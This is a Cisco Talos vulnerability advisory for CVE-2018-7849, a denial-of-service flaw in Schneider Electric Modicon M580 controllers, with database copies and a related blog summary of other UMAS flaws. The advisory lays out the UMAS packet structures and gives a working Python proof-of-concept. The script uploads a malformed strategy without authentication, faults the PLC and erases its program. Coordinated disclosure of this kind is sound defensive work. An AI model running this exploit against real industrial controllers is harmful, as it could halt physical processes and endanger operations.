Schneider Electric Modicon M580 UMAS strategy transfer denial-of-service vulnerability
2019-06-10T00:00:00
ID TALOS-2018-0737 Type talos Reporter Talos Intelligence Modified 2019-06-10T00:00:00
Description
Talos Vulnerability Report
TALOS-2018-0737
Schneider Electric Modicon M580 UMAS strategy transfer denial-of-service vulnerability
June 10, 2019
CVE Number
CVE-2018-7849
Summary
An exploitable denial-of-service vulnerability exists in the UMAS strategy transfer functionality of the Schneider Electric Modicon M580 programmable automation controller firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a recoverable fault state, resulting in a stoppage of normal device execution. An attacker can send unauthenticated commands to trigger this vulnerability.
The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as “UMAS.”
When programming a new strategy to a Modicon M580, six UMAS commands must be used in a specific order. First, a valid session and additional privilege must be obtained via a TAKE_PLC_RESERVATION request. This request gives the session the ability to successfully send privileged commands. With a valid reservation obtained an INITIALIZE_UPLOAD command must be sent, indicating that the new program will be following.
After the upload has been initialized, the first block of data must be sent to the device using an UPLOAD_BLOCK command. Failure to do so will prevent the device from accepting the upload.
Next, a command with the function code 0x6D must be sent. When this command is successfully received, the new strategy must be sent to the device in chunks of size 0x3F4 using the UPLOAD_BLOCK command. When sending the strategy it is important to resend the first block. Failure to do so will prevent the device from accepting the upload.
Once the strategy has been successfully sent, an END_STRATEGY_UPLOAD request must be sent to indicate that the last block has been sent. Finally, a RELEASE_PLC_RESERVATION command must be sent to give back the device reservation and restore the normal operating state.
The structure of a TAKE_PLC_RESERVATION command takes a form similar to this:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E | F | G | H
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code (0x10)
D --> Unknown (0x3B)
E --> Unknown (0x0E)
F --> Unknown (0x0000)
G --> Client Name Length (size of Client Name)
H --> Client Name (variable size)
The structure of the 0x6D command takes a form similar to this:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |
+---+---+---+
A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code (0x6D)
The structure of a INITIALIZE_UPLOAD command takes a form similar to this:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D |
+---+---+---+---+---+
A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code (0x30)
D --> Unknown (0x0001)
The structure of a UPLOAD_BLOCK command takes a form similar to this:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E | F | G
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code (0x31)
D --> Unknown (0x0001)
E --> Block Number
F --> Block Size (0x03F4)
G --> Data
The structure of a END_STRATEGY_UPLOAD command takes a form similar to this:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E |
+---+---+---+---+---+---+---+
A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code (0x32)
D --> Unknown (0x0001)
E --> Blocks Sent
The structure of a RELEASE_PLC_RESERVATION command takes a form similar to this:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C |
+---+---+---+
A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code (0x11)
If the strategy uploaded during this process does not properly implement the file integrity checks it will cause the device to fail at the END_STRATEGY_UPLOAD step and trigger a recoverable fault state. In this state, the device stops its normal execution and removes the existing strategy. Recovery is possible through the use of the programming software UnityPro.
Exploit Proof of Concept
import struct
import socket
from time import sleep
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse
def send_message(sock, umas, data=None, wait_for_response=True):
if data == None:
packet = ModbusADURequest(transId=1)/umas
else:
packet = ModbusADURequest(transId=1)/umas/data
msg = "%s" % Raw(packet)
resp = ""
sock.send(msg)
if wait_for_response:
resp = sock.recv(2048)
return resp
def main():
rhost = "192.168.10.1"
rport = 502
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
# TAKE_PLC_RESERVATION
mbtcp_fnc = "\x5a"
init_session = "\x00"
umas_fnc = "\x10"
unknown = "\x25\x10\x00\x00"
client_name = "test"
client_name_len = len(client_name)
umas = "%s%s%s%s%s%s" % (mbtcp_fnc, init_session, umas_fnc, unknown, client_name_len, client_name)
res = send_message(sock=s, umas=umas)
if res[9] != "\xfe":
print "[!] an error has occurred getting the PLC reservation"
session = res[-1]
# INITIALIZE_UPLOAD
umas_fnc = "\x30"
unknown = "\x00\x01"
umas = "%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown)
send_message(sock=s, umas=umas)
# Read in prepared APX file
data = ""
with open("Station.apx", 'rb') as f:
data = f.read()
# Build APX File Blocks
apx_len = len(data)
blocks = []
block = {}
block_len = 0x3f4
block_number = 1
for i in xrange(apx_len):
mod = i % block_len
if mod == 0:
block = {}
block['blockNum'] = block_number
block['data'] = data[i]
blocks.append(block)
else:
blocks[block_number-1]['data'] = "%s%s" % (blocks[block_number-1]['data'], data[i])
if mod == block_len-1 or i == apx_len-1:
block['blockDataSize'] = len(blocks[block_number-1]['data'])
block_number += 1
# UPLOAD_BLOCK request for First Block
umas_fnc = "\x31"
block_num = 1
block_size = len(blocks[block_num]['data'])
conv_block_num = struct.pack("<H", block_num)
conv_block_size = struct.pack("<H", block_size)
umas = "%s%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown, conv_block_num, conv_block_size)
send_message(sock=s, umas=umas, data=blocks[0]['data'])
# Required FNC 0x6D
umas_fnc = "\x6d"
umas = "%s%s%s" % (mbtcp_fnc, session, umas_fnc)
send_data = "00040101000000".decode('hex')
send_message(sock=s, umas=umas, data=send_data)
# UPLOAD_BLOCK request with repeated First Block
send_data = ""
umas_fnc = "\x31"
blocks_len = len(blocks)
for i in xrange(blocks_len):
conv_block_num = struct.pack("<H", blocks[i]['blockNum'])
block_size = len(blocks[i]['data'])
conv_block_size = struct.pack("<H", block_size)
umas = "%s%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown, conv_block_num, conv_block_size)
send_message(sock=s, umas=umas, data=blocks[i]['data'])
sleep(.02)
# END_UPLOAD
umas_fnc = "\x32"
unknown = "\x00\x01"
num_blocks = struct.pack("<H", len(blocks))
umas = "%s%s%s%s%s" % (mbtcp_fnc, session, umas_fnc, unknown, num_blocks)
send_message(sock=s, umas=umas)
# RELEASE_RESERVATION
umas_fnc = "\x11"
umas = "%s%s%s" % (mbtcp_fnc, session, umas_fnc)
send_message(sock=s, umas=umas)
# clean up
s.close()
if __name__ == '__main__':
main()
Timeline
2018-12-10 - Initial contact
2018-12-17 - Vendor acknowledged
2019-01-01 - 30 day follow up
2019-05-14 - Vendor Patched
2019-06-10 - Public Release
Credit
Discovered by Jared Rittle of Cisco Talos.
Vulnerability Reports Next Report
TALOS-2018-0738
Previous Report
TALOS-2018-0735
{"id": "TALOS-2018-0737", "bulletinFamily": "info", "title": "Schneider Electric Modicon M580 UMAS strategy transfer denial-of-service vulnerability", "description": "# Talos Vulnerability Report\n\n### TALOS-2018-0737\n\n## Schneider Electric Modicon M580 UMAS strategy transfer denial-of-service vulnerability\n\n##### June 10, 2019\n\n##### CVE Number\n\nCVE-2018-7849\n\n### Summary\n\nAn exploitable denial-of-service vulnerability exists in the UMAS strategy transfer functionality of the Schneider Electric Modicon M580 programmable automation controller firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a recoverable fault state, resulting in a stoppage of normal device execution. An attacker can send unauthenticated commands to trigger this vulnerability.\n\n### Tested Versions\n\nSchneider Electric Modicon M580 BMEP582040 SV2.70\n\n### Product URLs\n\n<https://www.schneider-electric.com/en/work/campaign/m580-epac/>\n\n### CVSSv3 Score\n\n7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n### CWE\n\nCWE-248: Uncaught Exception\n\n### Details\n\nThe Modicon M580 is the latest in Schneider Electric\u2019s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as \u201cUMAS.\u201d\n\nWhen programming a new strategy to a Modicon M580, six UMAS commands must be used in a specific order. First, a valid session and additional privilege must be obtained via a TAKE_PLC_RESERVATION request. This request gives the session the ability to successfully send privileged commands. With a valid reservation obtained an INITIALIZE_UPLOAD command must be sent, indicating that the new program will be following.\n\nAfter the upload has been initialized, the first block of data must be sent to the device using an UPLOAD_BLOCK command. Failure to do so will prevent the device from accepting the upload.\n\nNext, a command with the function code 0x6D must be sent. When this command is successfully received, the new strategy must be sent to the device in chunks of size 0x3F4 using the UPLOAD_BLOCK command. When sending the strategy it is important to resend the first block. Failure to do so will prevent the device from accepting the upload.\n\nOnce the strategy has been successfully sent, an END_STRATEGY_UPLOAD request must be sent to indicate that the last block has been sent. Finally, a RELEASE_PLC_RESERVATION command must be sent to give back the device reservation and restore the normal operating state.\n\nThe structure of a TAKE_PLC_RESERVATION command takes a form similar to this:\n \n \n 0 1 2 3 4 5 6 7 8 9 a b c d e f\n +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+\n 0 | A | B | C | D | E | F | G | H\n +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+\n 1 \n +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+\n \n A --> Modbus Function Code (0x5A)\n B --> Session\n C --> UMAS Function Code (0x10)\n D --> Unknown (0x3B)\n E --> Unknown (0x0E)\n F --> Unknown (0x0000)\n G --> Client Name Length (size of Client Name)\n H --> Client Name (variable size)\n \n\nThe structure of the 0x6D command takes a form similar to this:\n \n \n 0 1 2 3 4 5 6 7 8 9 a b c d e f\n +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+\n 0 | A | B | C |\n +---+---+---+\n \n A --> Modbus Function Code (0x5A)\n B --> Session\n C --> UMAS Function Code (0x6D)\n \n\nThe structure of a INITIALIZE_UPLOAD command takes a form similar to this:\n \n \n 0 1 2 3 4 5 6 7 8 9 a b c d e f\n +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+\n 0 | A | B | C | D |\n +---+---+---+---+---+\n \n A --> Modbus Function Code (0x5A)\n B --> Session\n C --> UMAS Function Code (0x30)\n D --> Unknown (0x0001)\n \n\nThe structure of a UPLOAD_BLOCK command takes a form similar to this:\n \n \n 0 1 2 3 4 5 6 7 8 9 a b c d e f\n +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+\n 0 | A | B | C | D | E | F | G\n +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+\n 1 \n +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+\n \n A --> Modbus Function Code (0x5A)\n B --> Session\n C --> UMAS Function Code (0x31)\n D --> Unknown (0x0001)\n E --> Block Number\n F --> Block Size (0x03F4)\n G --> Data \n \n\nThe structure of a END_STRATEGY_UPLOAD command takes a form similar to this:\n \n \n 0 1 2 3 4 5 6 7 8 9 a b c d e f\n +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+\n 0 | A | B | C | D | E |\n +---+---+---+---+---+---+---+\n \n A --> Modbus Function Code (0x5A)\n B --> Session\n C --> UMAS Function Code (0x32)\n D --> Unknown (0x0001)\n E --> Blocks Sent\n \n\nThe structure of a RELEASE_PLC_RESERVATION command takes a form similar to this:\n \n \n 0 1 2 3 4 5 6 7 8 9 a b c d e f\n +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+\n 0 | A | B | C | \n +---+---+---+\n \n A --> Modbus Function Code (0x5A)\n B --> Session\n C --> UMAS Function Code (0x11)\n \n\nIf the strategy uploaded during this process does not properly implement the file integrity checks it will cause the device to fail at the END_STRATEGY_UPLOAD step and trigger a recoverable fault state. In this state, the device stops its normal execution and removes the existing strategy. Recovery is possible through the use of the programming software UnityPro.\n\n### Exploit Proof of Concept\n \n \n import struct\n import socket\n from time import sleep\n from scapy.all import Raw\n from scapy.contrib.modbus import ModbusADURequest\n from scapy.contrib.modbus import ModbusADUResponse\n \n def send_message(sock, umas, data=None, wait_for_response=True):\n if data == None:\n packet = ModbusADURequest(transId=1)/umas\n else:\n packet = ModbusADURequest(transId=1)/umas/data\n msg = \"%s\" % Raw(packet)\n resp = \"\"\n sock.send(msg)\n if wait_for_response:\n resp = sock.recv(2048)\n return resp\n \n def main():\n rhost = \"192.168.10.1\"\n rport = 502\n \n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((rhost, rport))\n \n # TAKE_PLC_RESERVATION\n mbtcp_fnc = \"\\x5a\"\n init_session = \"\\x00\"\n umas_fnc = \"\\x10\"\n unknown = \"\\x25\\x10\\x00\\x00\"\n client_name = \"test\"\n client_name_len = len(client_name)\n umas = \"%s%s%s%s%s%s\" % (mbtcp_fnc, init_session, umas_fnc, unknown, client_name_len, client_name)\n res = send_message(sock=s, umas=umas)\n if res[9] != \"\\xfe\":\n print \"[!] an error has occurred getting the PLC reservation\"\n session = res[-1]\n \n # INITIALIZE_UPLOAD\n umas_fnc = \"\\x30\"\n unknown = \"\\x00\\x01\"\n umas = \"%s%s%s%s\" % (mbtcp_fnc, session, umas_fnc, unknown)\n send_message(sock=s, umas=umas)\n \n # Read in prepared APX file\n data = \"\"\n with open(\"Station.apx\", 'rb') as f:\n data = f.read()\n \n # Build APX File Blocks\n apx_len = len(data)\n blocks = []\n block = {}\n block_len = 0x3f4\n block_number = 1\n for i in xrange(apx_len):\n mod = i % block_len\n \n if mod == 0:\n block = {}\n block['blockNum'] = block_number\n block['data'] = data[i]\n blocks.append(block)\n \n else:\n blocks[block_number-1]['data'] = \"%s%s\" % (blocks[block_number-1]['data'], data[i])\n if mod == block_len-1 or i == apx_len-1:\n block['blockDataSize'] = len(blocks[block_number-1]['data'])\n block_number += 1\n \n # UPLOAD_BLOCK request for First Block\n umas_fnc = \"\\x31\"\n block_num = 1\n block_size = len(blocks[block_num]['data'])\n conv_block_num = struct.pack(\"<H\", block_num)\n conv_block_size = struct.pack(\"<H\", block_size)\n umas = \"%s%s%s%s%s%s\" % (mbtcp_fnc, session, umas_fnc, unknown, conv_block_num, conv_block_size)\n send_message(sock=s, umas=umas, data=blocks[0]['data'])\n \n # Required FNC 0x6D\n umas_fnc = \"\\x6d\"\n umas = \"%s%s%s\" % (mbtcp_fnc, session, umas_fnc)\n send_data = \"00040101000000\".decode('hex')\n send_message(sock=s, umas=umas, data=send_data)\n \n # UPLOAD_BLOCK request with repeated First Block\n send_data = \"\"\n umas_fnc = \"\\x31\"\n blocks_len = len(blocks)\n for i in xrange(blocks_len):\n conv_block_num = struct.pack(\"<H\", blocks[i]['blockNum'])\n block_size = len(blocks[i]['data'])\n conv_block_size = struct.pack(\"<H\", block_size)\n umas = \"%s%s%s%s%s%s\" % (mbtcp_fnc, session, umas_fnc, unknown, conv_block_num, conv_block_size)\n send_message(sock=s, umas=umas, data=blocks[i]['data'])\n sleep(.02)\n \n # END_UPLOAD\n umas_fnc = \"\\x32\"\n unknown = \"\\x00\\x01\"\n num_blocks = struct.pack(\"<H\", len(blocks))\n umas = \"%s%s%s%s%s\" % (mbtcp_fnc, session, umas_fnc, unknown, num_blocks)\n send_message(sock=s, umas=umas)\n \n # RELEASE_RESERVATION\n umas_fnc = \"\\x11\"\n umas = \"%s%s%s\" % (mbtcp_fnc, session, umas_fnc)\n send_message(sock=s, umas=umas)\n \n # clean up\n s.close()\n \n if __name__ == '__main__':\n main()\n \n\n### Timeline\n\n2018-12-10 - Initial contact \n2018-12-17 - Vendor acknowledged \n2019-01-01 - 30 day follow up \n2019-05-14 - Vendor Patched \n2019-06-10 - Public Release\n\n##### Credit\n\nDiscovered by Jared Rittle of Cisco Talos.\n\n* * *\n\nVulnerability Reports Next Report\n\nTALOS-2018-0738\n\nPrevious Report\n\nTALOS-2018-0735\n", "published": "2019-06-10T00:00:00", "modified": "2019-06-10T00:00:00", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "href": "http://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0737", "reporter": "Talos Intelligence", "references": [], "cvelist": ["CVE-2018-7849"], "type": "talos", "lastseen": "2020-07-01T21:25:20", "edition": 3, "viewCount": 144, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2018-7849"]}, {"type": "talosblog", "idList": ["TALOSBLOG:EED1741F2FA90B90A8225826C1A168CC"]}], "modified": "2020-07-01T21:25:20", "rev": 2}, "score": {"value": 5.0, "vector": "NONE", "modified": "2020-07-01T21:25:20", "rev": 2}, "vulnersScore": 5.0}, "scheme": null}
{"cve": [{"lastseen": "2020-10-03T13:20:26", "description": "A CWE-248: Uncaught Exception vulnerability exists in all versions of the Modicon M580, Modicon M340, Modicon Quantum and Modicon Premium which could cause a possible Denial of Service due to improper data integrity check when sending files the controller over Modbus.", "edition": 5, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 3.6}, "published": "2019-05-22T20:29:00", "title": "CVE-2018-7849", "type": "cve", "cwe": ["CWE-755"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-7849"], "modified": "2020-08-24T17:37:00", "cpe": ["cpe:/o:schneider-electric:modicon_m580_firmware:*", "cpe:/o:schneider-electric:modicon_premium_firmware:*", "cpe:/o:schneider-electric:modicon_m340_firmware:*", "cpe:/o:schneider-electric:modicon_quantum_firmware:*"], "id": "CVE-2018-7849", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-7849", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:o:schneider-electric:modicon_premium_firmware:*:*:*:*:*:*:*:*", "cpe:2.3:o:schneider-electric:modicon_m580_firmware:*:*:*:*:*:*:*:*", "cpe:2.3:o:schneider-electric:modicon_quantum_firmware:*:*:*:*:*:*:*:*", "cpe:2.3:o:schneider-electric:modicon_m340_firmware:*:*:*:*:*:*:*:*"]}], "talosblog": [{"lastseen": "2019-06-20T14:20:28", "bulletinFamily": "blog", "cvelist": ["CVE-2018-7842", "CVE-2018-7843", "CVE-2018-7844", "CVE-2018-7845", "CVE-2018-7846", "CVE-2018-7847", "CVE-2018-7848", "CVE-2018-7849", "CVE-2018-7850", "CVE-2018-7852", "CVE-2018-7853", "CVE-2018-7854", "CVE-2018-7855", "CVE-2018-7856", "CVE-2018-7857", "CVE-2019-6806", "CVE-2019-6807", "CVE-2019-6808"], "description": "[](<http://1.bp.blogspot.com/-29XSvJynjdE/XP5nsXGXOuI/AAAAAAAAGzw/XRDXqwX7bbYNpZsEF71PMIuO_PxTYmZvgCK4BGAYYCw/s1600/recurring%2Bblog%2Bimages_vuln%2Bspotlight.jpg>) \n_Jared Rittle of Cisco Talos discovered these vulnerabilities._ \n\n\n### Executive summary\n\nThere are several vulnerabilities in the Schneider Electric Modicon M580 that could lead to a variety of conditions, including denial of service and the disclosure of sensitive information. The Modicon M580 is the latest in Schneider Electric's Modicon line of programmable automation controllers. The majority of the bugs we will discuss exist in UMAS requests made while operating the hardware. \n \nIn accordance with our coordinated disclosure policy, Cisco Talos worked with Schneider Electric to ensure that these issues are resolved and that [an update](<https://www.schneider-electric.com/en/download/document/SEVD-2019-134-11/>) is available for affected customers. \n \n\n\n### Vulnerability details\n\n**Schneider Electric Modicon M580 UMAS release reservation denial-of-service vulnerability (TALOS-2018-0735/CVE-2018-7846)** \n \nAn exploitable denial-of-service vulnerability exists in the UMAS Release PLC Reservation function of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to invalidate a session without verifying the authenticity of the sender, resulting in the disconnection of legitimate devices. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nExploitation of this vulnerability leverages a technique similar to that used by Eran Goldstein on other Modicon controllers in 2017, which can be found [here](<https://ics-cert.us-cert.gov/advisories/ICSA-17-101-01>). \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0735>). \n \n**Schneider Electric Modicon M580 UMAS strategy transfer denial-of-service vulnerability (TALOS-2018-0737/CVE-2018-7849)** \n \nAn exploitable denial-of-service vulnerability exists in the UMAS strategy transfer functionality of the Schneider Electric Modicon M580 programmable automation controller firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a recoverable fault state, resulting in a stoppage of normal device execution. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0737>). \n \n**Schneider Electric Modicon M580 UMAS memory block read denial-of-service vulnerability (TALOS-2018-0738/CVE-2018-7843)** \n \nAn exploitable denial-of-service vulnerability exists in the UMAS memory block read function of the Schneider Electric Modicon M580 programmable automation controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0738>). \n \n**Schneider Electric Modicon M580 UMAS read memory block information disclosure vulnerability (TALOS-2018-0739/CVE-2018-7844)** \n \nAn exploitable information disclosure vulnerability exists in the UMAS read memory block function of the Schneider Electric Modicon M580 programmable automation controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to return blocks of memory, resulting in the disclosure of plaintext read, write and trap SNMP community strings. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0739>). \n \n**Schneider Electric Modicon M580 UMAS strategy read information disclosure vulnerability (TALOS-2018-0740/CVE-2018-7848)** \n \nAn exploitable information disclosure vulnerability exists in the UMAS strategy read functionality of the Schneider Electric Modicon M580 Programmable Automation Controller firmware version SV2.70. A specially crafted UMAS command can cause the device to return blocks of the programed strategy, resulting in the disclosure of plaintext read, write, and trap SNMP community strings. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nExploitation of this vulnerability leverages a technique similar to that used by Reid Wightman on the Modicon Quantum line of controllers in 2012, which can be found [here](<https://www.digitalbond.com/blog/2012/04/05/news-from-camp-4/>). \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0740>). \n \n \n**Schneider Electric Modicon M580 UMAS improper authentication vulnerability (TALOS-2018-0741/CVE-2018-7842)** \n \nAn exploitable improper authentication vulnerability exists in the UMAS PLC reservation function of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can allow an attacker to masquerade as an authenticated user, resulting in the ability to bypass password protections in place on the device. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nExploitation of this vulnerability leverages a technique similar to that used by Eran Goldstein on other Modicon controllers in 2017, which can be found [here](<https://ics-cert.us-cert.gov/advisories/ICSA-17-101-01>). \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0741>). \n \n**Schneider Electric Modicon M580 UMAS strategy file write vulnerability (TALOS-2018-0742/CVE-2018-7847)** \n \nAn exploitable unauthenticated file write vulnerability exists in the UMAS strategy programming function of the Schneider Electric Modicon M580 programmable automation controller, firmware version SV2.70. A specially crafted sequence of UMAS commands can cause the device to overwrite its programmed strategy, resulting in a wide range of effects, including configuration modifications, disruption of the running process and potential code execution. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nExploitation of this vulnerability leverages a technique similar to that used by Reid Wightman on the Modicon Quantum line of controllers in 2012, which can be found [here](<https://www.digitalbond.com/blog/2012/04/05/news-from-camp-4/>). \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0742>). \n \n \n**Schneider Electric Modicon M580 UnityPro reliance on untrusted inputs vulnerability (TALOS-2018-0743/CVE-2018-7850)** \n \nAn exploitable reliance on untrusted inputs vulnerability exists in the strategy transfer function of the Schneider Electric UnityProL Programming Software. When a specially crafted strategy is programmed to a Modicon M580 Programmable Automation Controller, and UnityProL is used to read that strategy, a configuration different from that on the device is displayed to the user. This results in the inability for users of UnityProL to verify that the device is acting as intended. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0743>). \n \n**Schneider Electric Modicon M580 UMAS read memory block out-of-bounds information disclosure vulnerability (TALOS-2018-0745/CVE-2018-7845)** \n \nAn exploitable information disclosure vulnerability exists in the UMAS memory block read functionality of the Schneider Electric Modicon M580 Programmable Automation Controller. A specially crafted UMAS request can cause an out-of-bounds read, resulting in the disclosure of sensitive information. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2018-0745>). \n \n**Schneider Electric Modicon M580 UMAS function code 0x6d multiple denial-of-service vulnerabilities (TALOS-2019-0763/CVE-2018-7852)** \n \nMultiple denial-of-service vulnerabilities exist in the UMAS protocol functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. Specially crafted UMAS commands can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger these vulnerabilities. \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2019-0763>). \n \n**Schneider Electric Modicon M580 UMAS function code 0x28 denial-of-service vulnerability (TALOS-2019-0764/CVE-2018-7853)** \n \nAn exploitable denial-of-service vulnerability exists in the UMAS function code 0x28 functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2019-0764>). \n \n**Schneider Electric Modicon M580 UMAS function code 0x65 denial-of-service vulnerability (TALOS-2019-0765/CVE-2018-7854)** \n \nAn exploitable denial-of-service vulnerability exists in the UMAS function code 0x65 functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2019-0765>). \n \n**Schneider Electric Modicon M580 UMAS set breakpoint denial-of-service vulnerability (TALOS-2019-0766/CVE-2018-7855)** \n \nAn exploitable denial-of-service vulnerability exists in the UMAS set breakpoint functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2019-0766>). \n \n**Schneider Electric Modicon M580 UMAS memory block write denial-of-service vulnerability (TALOS-2019-0767/CVE-2018-7856)** \n \nAn exploitable denial-of-service vulnerability exists in the UMAS memory block write functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability. \n \nFor more information on this vulnerability, read the complete advisory [here](<http://www.talosintelligence.com/reports/TALOS-2019-0767>). \n \n**Schneider Electric Modicon M580 UMAS write system coils and holding registers denial-of-service vulnerability (TALOS-2019-0768/CVE-2018-7857)** \n \nAn exploitable denial-of-service vulnerability exists in the UMAS write system coils and holding registers functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability. 